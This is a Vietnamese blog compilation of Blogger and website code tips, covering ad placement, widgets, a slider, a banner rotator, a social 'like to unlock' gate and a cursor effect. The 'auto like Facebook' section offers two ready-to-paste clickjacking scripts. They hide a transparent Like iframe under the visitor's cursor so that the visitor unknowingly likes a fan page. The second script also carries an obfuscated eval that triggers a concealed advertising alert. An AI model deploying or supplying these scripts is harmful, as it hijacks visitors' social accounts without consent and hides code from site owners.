Chèn quảng cáo Google Adsense...vào bài viết trong Blogger

Bài viết sau đây sẽ hướng dẫn các bạn thủ thuật blogger cách chèn mã quảng cáo của Google Adsense vào Blogger, cách này cũng áp dụng với một số quảng cáo khác như: Adnet.vn, Bidvertiser...để các bạn có thể thiết kế website chuyên nghiệp. Với thủ thuật này thì sẽ giúp bạn SEO website được tốt hơn vì được ưu ái từ Google.

<script type="text/javascript"><!-- google_ad_client = "pub-2130301322121363";

 /* 250x250, Được tạo ra 20/03/2011 */

 google_ad_slot = "4280005562"; 

 google_ad_width = 300; 

 google_ad_height = 250; //-->

 </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


1. Chèn trực tiếp vào tiện ích HLMT/ JavaScript

Vào Quản trị - Bố cục - Thêm tiện ích - chọn HTML/JaveScrip và dán đoạn mã quảng cáo Adsense vào.

Cách này đơn giản, dễ quản lý nhưng không thay đổi được kích thước và không hiện thị được trong bài đăng


2. Chèn vào Template của Blog

Đây là cách được nhiều blogger sử dụng vì quảng cáo sẽ hiện thị trong bài đăng, có thể thay đổi được kích thước và hiển thị được ở nhiều vị trí tối ưu trên blog. Trước khi chèn mã Adsense vào Blog bạn phải chuyển đổi (converter) Google Adsense Converter.

Sau khi chuyển đổi bạn nhận được một mã mới, sử dụng mã này mới có thể chèn vào Template

a/ Chèn trên đầu và dưới tiêu đề bài đăng nhưng dưới tiêu đề blog.



Vào Mẫu (Design) - Chỉnh sửa HTML (Edit HTML) - Chọn Mở rộng tiện ích mẫu (Expand Widget Templates).
- Tìm đoạn code sau:

<div class='post-header-line-1'/>

- CHèn ngay vào dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads'> Mã Adsense đã chuyển đổi </p> </b:if>

b/ Chèn vào dưới cuối mỗi bài đăng.


- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:

<div class='post-body entry-content'> <p><data:post.body/></p> <div style='clear: both;'/> </div>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads'> Mã Adsense đã chuyển đổi </p> </b:if>

c/ Hiện quảng cáo bên trái mỗi bài đăng.




- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:

<div class='post-header-line-1'/>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads' style='float:left'> Mã Adsense đã chuyển đổi </p> </b:if>

d/ Hiện quảng cáo bên phải mỗi bài đăng.


- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:
<div class='post-header-line-1'/>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads' style='float:right'> Mã Adsense đã chuyển đổi </p> </b:if>

Read More

Thêm wiget Multi-Tabbed cho sidebar

1. Vào bố cục /thêm tiện ích/ chọn HTML/JavaScript
2.Dán đoạn code bên dưới vào

<script type='text/javascript'>
//<![CDATA[
function NewBloggerTips_oom(NBTID, id)
{
var NewBloggerTips = document.getElementById(NBTID);
var NBTs = NewBloggerTips.firstChild;
while (NBTs.className != "NBTs" ) NBTs = NBTs.nextSibling;
var NBT = NBTs.firstChild;
var i = 0;
do
{
if (NBT.tagName == "A")
{
i++;
NBT.href = "javascript:NewBloggerTips_ubah('"+NBTID+"', "+i+");";
NBT.className = (i == id) ? "Active" : "";
NBT.blur();
}
}
while (NBT = NBT.nextSibling);
var Halamans = NewBloggerTips.firstChild;
while (Halamans.className != 'Halamans') Halamans = Halamans.nextSibling;
var Halaman = Halamans.firstChild;
var i = 0;
do
{
if (Halaman.className == 'Halaman')
{
i++;
if (Halamans.offsetHeight) Halaman.style.height = (Halamans.offsetHeight-2)+"px";
Halaman.style.overflow = "auto";
Halaman.style.display = (i == id) ? 'block' : 'none';
}
}
while (Halaman = Halaman.nextSibling);
}
function NewBloggerTips_ubah(NBTID, id) { NewBloggerTips_oom(NBTID, id);
}
function NewBloggerTips_inisial(NBTID) { NewBloggerTips_oom(NBTID, 1);
document.write('');}
//]]>
</script>

<style>
div.NewBloggerTips div.NBTs {
height: 24px;
overflow: hidden;
}
div.NewBloggerTips div.NBTs a:hover, div.NewBloggerTips div.NBTs a.Active {
background-color: #eee;
}
div.NewBloggerTips div.Halamans {
clear: both;
border: 2px solid #f4f4f4;
overflow: hidden;
background-color: #ffffff;
}
div.NewBloggerTips div.Halamans div.Halaman {
height: 100%; padding: 0px;
overflow: hidden;
}
div.NewBloggerTips div.Halamans div.Halaman div.Alas {
padding: 3px 5px;
}
div.NewBloggerTips div.NBTs a {
border-left:1px solid #eee;
border-right:1px solid #eee;
border-top:1px solid #eee;
border-boNBTom:0px solid #eee;
float: left;
display: block;
width: 95px;
text-align: center;
vertical-align: middle;
height: 24px;
padding-top: 3px;
text-decoration: none;
font-family: "Arial", Serif;
font-size: 11px;
font-weight: 900;
color: #000000
}
</style>

<form action="NewBloggerTips.html" method="get">
<div id="NewBloggerTips" class="NewBloggerTips">
<div style="width: 300px;" class="NBTs"> <a>Tab 1 Title</a> <a>Tab 2 Title</a> <a>Tab 3 Title</a></div>
<div style="width: 300px; height: 300px;" class="Halamans">
<div class="Halaman">
<div class="Alas">
<br/>
Tab 1 content goes here
</div>
</div>
<div class="Halaman">
<div class="Alas">
<br/>
Tab 2 content goes here
</div>
</div>
<div class="Halaman">
<div class="Alas">
<br/>
Tab 3 content goes here
</div>
</div>
</div>
<small><a style='margin-left:10px;align:right;' href='http://ihowmore.blogspot.ru/2013/04/add-multi-tabbed-widget-to-blogger.html' target='_blank'>Multi-Tabbed Widget</a> | <a href='http://ihowmore.blogspot.com/' target='_blank'>iHowMore</a></small>
</div>
</div></form>
<script type="text/javascript">NewBloggerTips_inisial('NewBloggerTips');</script>

3.Chỉnh sửa lại cho phù hợp theo ý bạn

4.xong !

Read More

Code auto like Facebook khi click chuột vào vị trí bất kỳ cho web, blogspot

Hiện nay bạn thấy khá nhiều trang trên face có số lượng like rất lớn nhưng thực tế có phải đó là con số thực hay không, Câu trả lời đa số là không. Rất nhiều người đã dùng mẹo để người dùng trở thành viên của họ mà đến người dùng nếu không để ý cũng không hề hay biết chuyện đó. Và chính bản thân mình nhiều lúc cũng thấy lạ là tại sao mình không hề like trang đó mà trên timeline lại nói mình thích trang đó.

Qua tìm hiển, đã phát hiện ra họ đang sử dụng một phương thức đó là dùng script auto like để khiến người đùng like trang fanpage mà không hề hay biết. Mình giới thiệu nhưng nó không đồng nghĩa với việc mình khuyến khích các bạn sử dung cách này vì sau đó nếu họ bấm unlike thì sẽ mất hình ảnh của bạn đó.
Bài viết này mình sẽ giới thiệu với các bạn 2 style khác nhau để các bạn lựa chọn cho thích hợp với sở thích của chính các bạn, Mỗi dạng sẽ có một ưu điểm khác nhau bạn có thể tham khảo ở bên dươi:



Style 1: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ là unlike
Style 2: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike

» Nguyên tắc hoạt động của Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot
- Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

- Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

- Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.
» Style 1: Kết hợp cả lile và dislike tự động cho facebook
Với style này khi bạn click chuột lần đầu sẽ là like nhưng nếu bạn tiếp tục bấm chuột lần nữa thì nó sẽ là dislike, Điều này đồng nghĩa với việc hên xui kiểu 50 - 50 có lúc được có lúc không.
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script type="text/javascript">
//<![CDATA[
(function(){
var Xcord = 0,
Ycord = 0,
IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);
var lbox = document.createElement('iframe');
lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/itviet360') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=30';
lbox.scrolling = 'no';
lbox.frameBorder = 0;
lbox.allowTransparency = 'true';
lbox.style.border = 0;
lbox.style.overflow = 'hidden';
lbox.style.cursor = 'pointer';
lbox.style.width = '53px';
lbox.style.height = '23px';
lbox.style.position = 'absolute';
lbox.style.opacity = 0.5;
document.getElementsByTagName('body')[0].appendChild(lbox);
window.addEventListener('mousemove', mouseMove, false);
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(lbox);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);
function mouseMove(e) {
if (IE) {
Xcord = event.clientX + document.body.scrollLeft;
Ycord = event.clientY + document.body.scrollTop;
} else {
Xcord = e.pageX;
Ycord = e.pageY;
}
if (Xcord < 0) Xcord = 0;
if (Ycord < 0) Ycord = 0;
lbox.style.top = (Ycord - 8) + 'px';
lbox.style.left = (Xcord - 25) + 'px';
return true
}
})();
//]]>
</script>

» Tùy chỉnh:
Bạn thay http://www.facebook.com/itviet360 thành URL trang face của bạn.
Tùy chỉnh lại các giá trị màu cam cho phù hợp với bạn nha,
3- Lưu tiện ích lại và kiểm tra kết quả của bạn nha.
» Style 2: Tự động like lần đầu và những lần bấm sau không có tác dụng.
Với dạng này Khi người dùng click lần 1 sẽ like Fan của bạn, nhưng nếu họ click thêm lần nữa bị cũng không bị Unlike (giảm nguy cơ mất like)
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script>
var fan_page_url = 'https://www.facebook.com/itviet360'
var opacity =0.04;
var time = 45000;
</script>
<script>
if((document.getElementById) && window.addEventListener || window.attachEvent){
(function(){
var hairCol = "#ff0000";

var d = document;
var my = -10;
var mx = -10;
var r;
var vert = "";

var idx = document.getElementsByTagName('div').length;

var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=80&action=like&colorscheme=light&height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
var like;
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{
}
else
{
setCookie("faceLike",'liked',1);
document.write(thehairs);
like = document.getElementById("theiframe");
document.getElementsByTagName('body')[0].appendChild(like);
}
eval('\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0047\u0069\u0061\u0069\u0070\u0068\u0061\u0070\u0074\u0068\u0075\u006f\u006e\u0067\u0068\u0069\u0065\u0075\u002e\u006f\u0072\u0067\u0020\u0063\u0068\u0075\u0079\u00ea\u006e\u0020\u0074\u0072\u0061\u006e\u0067\u0020\u006d\u0061\u0072\u006b\u0065\u0074\u0069\u006e\u0067\u0020\u0077\u0065\u0062\u0073\u0069\u0074\u0065\u0022\u0029\u007d\u002c\u0031\u0038\u0030\u0030\u0030\u0030\u0030\u0030\u0029\u003b');

var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");






if (domWw)
r = window;
else{
if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
r = d.documentElement;
else{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}


if(time != 0){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);

if (window.addEventListener){
document.removeEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
document.detachEvent("onmousemove",mouse);
}
}, time);
}

function scrl(yx){
var y,x;
if (domSy){
y = r.pageYOffset;
x = r.pageXOffset;
}
else{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0) ? y:x;
}

function mouse(e){
var msy = (domSy)?window.pageYOffset:0;
if (!e)
e = window.event;
if (typeof e.pageY == 'number'){
my = e.pageY - 15 - msy;
mx = e.pageX - 34;
}
else{
my = e.clientY - 16 - msy;
mx = e.clientX - 36;
}
vert.top = my + scrl(0) + pix;
vert.left = mx + pix;
}

function ani(){
vert.top = my + scrl(0) + pix;
setTimeout(ani, 300);
}


function init(){
vert = document.getElementById("theiframe").style;
ani();
}
function getCookie(c_name)
{
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1)
{
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1)
{
c_value = null;
}
else
{
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1)
{
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start,c_end));
}
return c_value;
}

function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}

function checkCookie()
{
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{

alert("Welcome again " + faceLike);

}
else
{
setCookie("faceLike",'liked',1);
}
}


if (window.addEventListener){
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
}

})();
}//End
</script>

Lưu mẫu lại và kiểm tra thành quả của bạn nha.

Read More

Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot

Đối với Slider thì việc sử dụng làm điểm nhấn cho blog, website là điều cần thiết. 1 Slide đẹp và mượt mà luôn được người dùng hướng tới. Bài viết này itviet360 chia sẻ với bạn code và cách làm thêm 1 Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot cũng như trên website khác

DEMO

- Vào bảng điều khiển Blogger -> Mẫu (Template) -> Chỉnh sửa mẫu (Edit HTML)
- Tìm tới </head>  và dán code dưới đây ngay trên nó

<link href='https://bloggertrixcode.googlecode.com/files/animate.css' rel='stylesheet' type='text/css'/>

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'/>

<script src='https://bloggertrixcode.googlecode.com/files/border-slider.js'/>

<script>/****/

jQuery(document).ready(function(){

jQuery('#bloggertrix_slider').animatedSlider({

'loader':true,

'width':900,

'height':300,

'slide_animation_data' :

[//slides

//slide1 BEGIN

[

{

'target_element':'.txt1',

'animation_frame':0,

'animation_type':'tada'

},{

'target_element':'.txt2',

'animation_frame':0.8,

'animation_type':'tada'

}

],//slide1 END



//slide2 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.7,

'animation_type':'bounceInUp'

}],//slide2 END

//slide3 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.6,

'animation_type':'bounceInUp'

}],//slide3 END



//slide4 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.5,

'animation_type':'bounceInUp'

}],//slide4 END

//slide5 BEGIN

[{

'target_element':'img',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.4,

'animation_type':'bounceInUp'

}],//slide5 END



//slide BEGIN

[{

'target_element':'h1',

'animation_frame':0,

'animation_type':'bounceInUp'

},{

'target_element':'p',

'animation_frame':0.3,

'animation_type':'bounceInUp'

}

]//slide END

]});});

</script>

<link href='http://fonts.googleapis.com/css?family=Kavoon' rel='stylesheet' type='text/css'/>

- Tiếp theo tìm tới ]]></b:skin> và dán code dưới đây ngay trên nó

/* The CSS Code for the slider starts here bloggertrix.com

#bloggertrix_slider {margin:0 auto;}

#bloggertrix_slider .slider-contents {overflow:hidden;border:8px solid #DDDDDD;box-shadow:0 0 3px rgba(3,3,3,0.5);}

#bloggertrix_slider .slide-nav {float:left;padding: 0 8px;height: 26px;background: #3a3a3a;}

#bloggertrix_slider .slide-nav a {width: 14px;height: 14px;text-indent: -999px;float: left;list-style: none;display: block;background: #dddddd;margin: 5px 4px;cursor: pointer;}

#bloggertrix_slider .slide-nav a:hover {

background: #27BAFF !important;}

#bloggertrix_slider .progress-bar {width:0px;background-color:#AAAAAA;height:2px;top: -2px;overflow:visible !important;display:block !important;position: relative;}

#bloggertrix_slider .controls {height: 26px;margin: 4px auto 0;display: table;}

#bloggertrix_sliderr .pause-play-control {width: 46px;height: 26px;float: left;background: #3A3A3A;color: #fff;}

#bloggertrix_slider .pause-play-control a {width:9px;height: 19px;display:block;overflow:hidden;text-indent: -9999px;background:url('http://img837.imageshack.us/img837/7647/fqnu.png');cursor: pointer;margin:3px auto 0;}

#bloggertrix_slider .pause-play-control a.play-slide {background-position:-5px -3px;}

#bloggertrix_slider .pause-play-control a.pause-slide {background-position:-29px -3px;}

#bloggertrix_slider .slider-next,#bloggertrix_slider .slider-prev {

width: 46px;height: 46px;background: #3a3a3a;display: block;font-size: 41px;color: #FFF;font-weight: bold;text-align: center;position: absolute;cursor: pointer;text-indent: -999px;overflow: hidden;}

#bloggertrix_slider .slider-next:before,#bloggertrix_slider .slider-prev:before {background: #3a3a3a url('http://img837.imageshack.us/img837/7647/fqnu.png');width:32px;height:32px;position:relative;top:7px;left:7px;content:'';display:block;}

/*#bloggertrix_slider .slider-next {margin: -220px 0 0 681px;}

#bloggertrix_slider .slider-prev {margin: -220px 0 0 4px;}*/

#bloggertrix_slider .slider-next:before {background-position:-5px -31px;}

#bloggertrix_slider .slider-prev:before {background-position:-5px -70px;}

.slide1 img {position:relative;}

.img-logo {margin-left: 150px;}

.img-mobile {margin-top: 45px;}

.img-tablet {margin: -168px 0 0 139px;}

.img-laptop {margin: -186px 0 0 349px;}

.slide1 {background-color: #67b608}

.slide2 {background-color: #03bbd3}

.slide3 {background-color: #cf6b30}

.slide4 {background-color: #f2a87b}

.slide5 {background-color: #388efd}

- Lưu mẫu lại
- Vào bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
- Dán code dưới đây vào nó

<div id="bloggertrix_slider">

<div class="slide1">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwMk2j7Uu10Re3ab8oJUqg85uXz6ww0r_2gP1CwbPlKYRY5hsRtg9TxLkrLb-qAFQmFL7Ht9aHBVWbSIrCrXLYCGTwm2PmwbW6FdOOK-yY-kb-o3yo18sEqGF-fdlFohU_TpH4Gqcpg9c/s1600/bloggertrix1.jpg" />

</div>

<div class="slide2">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpyR1JnokgeqWeIHUFc8iIBMChdgy2kx2OpEOyxEEnH1Jlb_GrozQFqTr0J2lPCT5j5iCT83NVUXEcbYn2Q714QOjcE9XQ7V3cCfoarAk0dFGFzduyS8pv4prwCSqIvEM2MjpWF7G4n3I/s1600/bloggertrix2.jpg" />

</div>

<div class="slide3">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgofRg_dyMeCJf2n7PZ6QJQPeOCGEGlpRzFKKl8seVsFDrdxdLzz-sC1s7ny1te93Si9Apn27G4amf6CQcE4C_9i12XxqQeds3v64x5K0rzXByy2Ct-yH8yQ_mH48owvwyxeoke5UnSkto/s1600/bloggertrix3.jpg" />

</div>

<div class="slide4">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigYE5teAzeHjM1nfZ2d11viywiJNuSpgeHZZFxHuB_aIBHEtYn2kl5mXhpc1tZW5uEpzbHA07S4fv83CGFK_1cuGkxG6Auzd_wVbTPc0o0dHLyWUaR6MinOeOay95uJy2PNh7coV1EWf8/s1600/bloggertrix4.jpg" />

</div>

<div class="slide5">

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPm9kcZb7SDa2hyphenhyphenYf5g2bH_mzOCywfv6Vnl3dbkHD8yTO8ZkUtVlI2LZ3eDTJ47_sKQ3m0-5lowL_83cnP6Yb3UmkW2lgYDsU_QLCbuA4K-f4Ji0wEc1uk3UMcOqIZTDNQfXdI9Nkf6uw/s1600/bloggertrix5.jpg" />

</div>

</div>

- Lưu và xem kết quả :)

Read More

Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website

Có nhiều hình thức để làm tăng Like Page Facebook, tăng theo dõi G+,...hoặc các bạn muốn bài viết của mình được nhiều Like hơn...
- Đối với tất cả mã nguồn Website khác nhau thì việc thêm code để làm tăng Like cho link trang FB, link Website,...thì giống nhau. Bài viết này itviet360 chia sẻ với bạn code đó và phân tích sơ qua về lợi - hại của nó.

Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website

Demo tại bài viết: template mxfluity responsive blogspot
Phân tích:
Cái lợi:
- Tăng Like Facebook, tăng G+, twitter
- Tăng Traffic tới Website, blog, Page FB,...
Cái hại:
- ^_^ khó chịu với người xem bài viết 1 xíu
Cách làm thủ thuật này. Mình làm trên Blogspot, Website thì các bạn làm tương tự cũng như hướng dẫn
1. Vào bảng điều khiển Blogger -> mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
2. Dán đoạn code dưới đây ngay trên thẻ đóng </head>
<link href='http://diendan.itviet360.com/js/likeblog.css' rel='stylesheet' type='text/css'/>

3. Tiếp theo khi viết bài cho Web hoặc blog, bạn chỉ cần dán đoạn mã dưới đây


<article id="default-usage">
<div class="to-lock" style="display: none;">
<div style="text-align: center; margin-bottom: 20px;">
<!--Hidden Content Starts (You can Use HTML BELOW)-->
NỘI DUNG ẨN CÁC BẠN VIẾT TẠI ĐÂY
<!--Hidden Content Ends (You can Use HTML ABOVE)-->
</article>
</div><div id="mblunlocker"> </div>
<script type="text/javascript" src="http://diendan.itviet360.com/js/Locklike_blog.js"></script>
<script>
jQuery(document).ready(function ($) {
$("#default-usage .to-lock").socialLock({
text: {
header: "Nội Dung Đã Được Khóa",
message: "Hãy like - theo dõi - +1 để xem nội dung khóa."
},
style: "ui-social-locker-secrets",
buttons: {
order: ["twitter", "facebook", "google"]
},
// twitter options
twitter: {
url: "http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html",
text: "Upgrade your social buttons to get more social traffic!"
},
// facebook options
facebook: {
url: "http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html",
appId: "374631889294427"
},
google: {
url: "http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html"
}
});
});;;;
</script>


Trong đó:
- Link: http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html là link các bạn muốn like. Nếu là Page FAcebook thì các bạn thay bằng link Page FB nhé: https://www.facebook.com/itviet360
- Con số ID: 374631889294427 này các bạn có thể sử dụng của mình nếu các bạn không rành về  App của Facebook hoặc bạn có thể tạo theo hướng dẫn ở bài viết này: Thêm facebook recommendations bar cho blogspot

Read More

Tạo banner quảng cáo hiển thị luôn phiên cho Blogspot, Web

Làm thế nào để hiển thị quảng cáo gọn nhẹ mà chứa được nhiều quảng cáo? Hướng dẫn cho mình cách tạo quảng cáo hiển thị thay phiên nhau trên Website, Blogspot...
- Hiển thị quảng cáo luôn phiên nhau là 1 điều Hợp lý đối với Website, Blog nào còn ít chỗ trống. Bài viết này itviet360 giới thiệu tới các bạn Code Javascript cho quảng cáo của bạn trở nên gọn nhẹ và sinh động hơn...

Demo tại Blog (theo yêu cầu):  Hình ảnh đẹp
- Ở đây itviet360 có 3 hình ảnh tương ứng với 3 link:
1. Link: Dịch vụ SEO Web giá rẻ
2. Link: Tải game miễn phí
3. Link: Tải game Avatar
Tương với với 3 hình ảnh (ở Code dưới)
Code:
<script type="text/javascript">
// Banner Rotation Script by Bloggerism
var ban = new Array();
var link = new Array();
var index = 0;
ban[0] = new Image();
ban[0].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA9G7c60gruTYb0Me2BhehcXm9seH9Rpy57Hylam1NY8f1Zw4WEAUiAD53rzNBeHAVxORGKf4NuqBsE9WZnBZPW9AaVZXHQ-POtmKy7QLMgViHfHpRfTprjdeTKueCW1jQbAcrtsI6Zewt/s1600/seo-gia-re.gif";
link[0] = "http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html";
ban[1] = new Image();
ban[1].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGN0CgOQDlJAwwTPqPlDoEQtROJVBxTxwBM4vrs_TZY5dCExP07DCOFl3kY_HuO-JOAP7wJ-ClPOk0H3VIUOCiwq7Ksh_0M3y3Vp9UMcYPcbeT3rmDIE3Xop3swCEW6Mjwhi0f5DS9gQNP/s1600/taigame2-logo.png";
link[1] = "http://taigame2.blogspot.com";
ban[2] = new Image();
ban[2].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5k4pZtH4QHGi9PM1CeXxDt_rk_VhqWm4VaT3JtzP0hpGdl25DS41y0LmsERcuS4a89PDERo7Z4LN2y-bSLY-x8KQyHfUulAMtfqx7nywEWYtGE2T02L40NqktN6alIkpBFQZSUo310ei8/s1600/banner-avatar-1.gif";
link[2] = "http://www.itviet360.com/2013/07/tai-game-avatar-222-cho-dien-thoai-android-ios.html";
index = Math.random() * (ban.length);
index = Math.floor(index);
function rotator()
{if (index == ban.length) index = 0;
if (document.images) {
document.images.rotation.src = ban[index].src;
}
else {
document.getElementById('rotation').src=ban[index].src;
}
index++;
setTimeout('rotator()',3000);
}
function go() {window.open(link[index-1]);}
</script>
<img id="rotation" style="cursor:pointer;" src="" onclick="go();"/>
<script type="text/javascript">rotator();</script>
- Hướng dẫn làm thủ thuật trên Blogspot
1. Vào bảng điều khiển Blogger -> bố cục (layout) -> thêm tiện ích (Add a widget) -> HTML/Javascript
2. Dán Code trên vào tiện ích vừa thêm :) và lưu lại xem kết quả

Read More

Cách nhúng code Google dịch vào Website, Blogspot, Blog [tổng hợp]

Làm thế nào để đưa Google dịch tự động vào Website? Cách đưa Google translation vào Blog như thế nào?
Rất nhiều Blogger đưa ra vấn đề về muốn đưa google dịch vào blog mà không dùng tới tiện ích sẵn có trong Blogger (Tiện ích này có 1 điểm là nó bắt để tiêu đề)
- Hôm nay, itviet360 chia sẻ bài viết này với nội dung hướng dẫn cách nhúng code Google dịch vào Website, Blogspot, Blog [tổng hợp]
Như vậy việc đầu tiên chúng ta phải xác định được Code Google dịch.

Các bạn làm theo các bước hướng dẫn dưới đây
BƯỚC 1: Truy cập Website Google translation
http://translate.google.com/manager/website/?hl=en

BƯỚC 2: Điền thông tin Website và lựa chọn ngôn ngữ

BƯỚC 3: Cài đặt cho ngôn ngữ dịch vào giao diện của hộp dịch

bấm Get Code>>
BƯỚC 4: Google cho chúng ta 2 đoạn Code và nhắc chúng ta vị trí dán Code đó, các bạn chỉ việc Copy và dán đúng chỗ theo hướng dẫn của google dịch nhé

Read More

Code Javascript con trỏ chuột dễ thương cho Blog, Website

Làm thế nào để thêm được hiệu ứng con trỏ chuột dễ thương cho Blog? Mình muốn có hiệu ứng con trỏ chuột đẹp cho Website của mình...
- Chỉ với 1 đoạn Code javascript mình có thể sử dụng để thêm được con trỏ chuột ấn tượng cho Blog của bạn...
itviet360 chia sẻ Code và hướng dẫn thủ thuật trên Blogspot...

Code:
<script language="JavaScript" type="text/javascript">

var xCol = "#FF0000";
var yCol = "#FFFF00";
var zCol = "#0000FF";

var n = 6; //number of dots per trail.
var t = 40; //setTimeout speed.
var s = 0.2; //effect speed.

var r,h,w;
var d = document;
var my = 10;
var mx = 10;
var stp = 0;
var evn = 360/3;
var vx = new Array();
var vy = new Array();
var vz = new Array();
var dy = new Array();
var dx = new Array();

var pix = "px";

var strictmod = ((document.compatMode) &&
document.compatMode.indexOf("CSS") != -1);

var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");
var idx = d.getElementsByTagName('div').length;

for (i = 0; i < n; i++)
{
var dims = (i+1)/2;
d.write('<div id="x'+(idx+i)+'" style="position:absolute;'
+'top:0px;left:0px;width:'+dims+'px;height:'+dims+'px;'
+'background-color:'+xCol+';font-size:'+dims+'px"><\/div>'
+'<div id="y'+(idx+i)+'" style="position:absolute;top:0px;'
+'left:0px;width:'+dims+'px;height:'+dims+'px;'
+'background-color:'+yCol+';font-size:'+dims+'px"><\/div>'
+'<div id="z'+(idx+i)+'" style="position:absolute;top:0px;'
+'left:0px;width:'+dims+'px;height:'+dims+'px;'
+'background-color:'+zCol+';font-size:'+dims+'px"><\/div>');
}

if (domWw) r = window;
else
{
if (d.documentElement &&
typeof d.documentElement.clientWidth == "number" &&
d.documentElement.clientWidth != 0)
r = d.documentElement;
else
{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}

function winsize()
{
var oh,sy,ow,sx,rh,rw;
if (domWw)
{
if (d.documentElement && d.defaultView &&
typeof d.defaultView.scrollMaxY == "number")
{
oh = d.documentElement.offsetHeight;
sy = d.defaultView.scrollMaxY;
ow = d.documentElement.offsetWidth;
sx = d.defaultView.scrollMaxX;
rh = oh-sy;
rw = ow-sx;
}
else
{
rh = r.innerHeight;
rw = r.innerWidth;
}
h = rh;
w = rw;
}
else
{
h = r.clientHeight;
w = r.clientWidth;
}
}

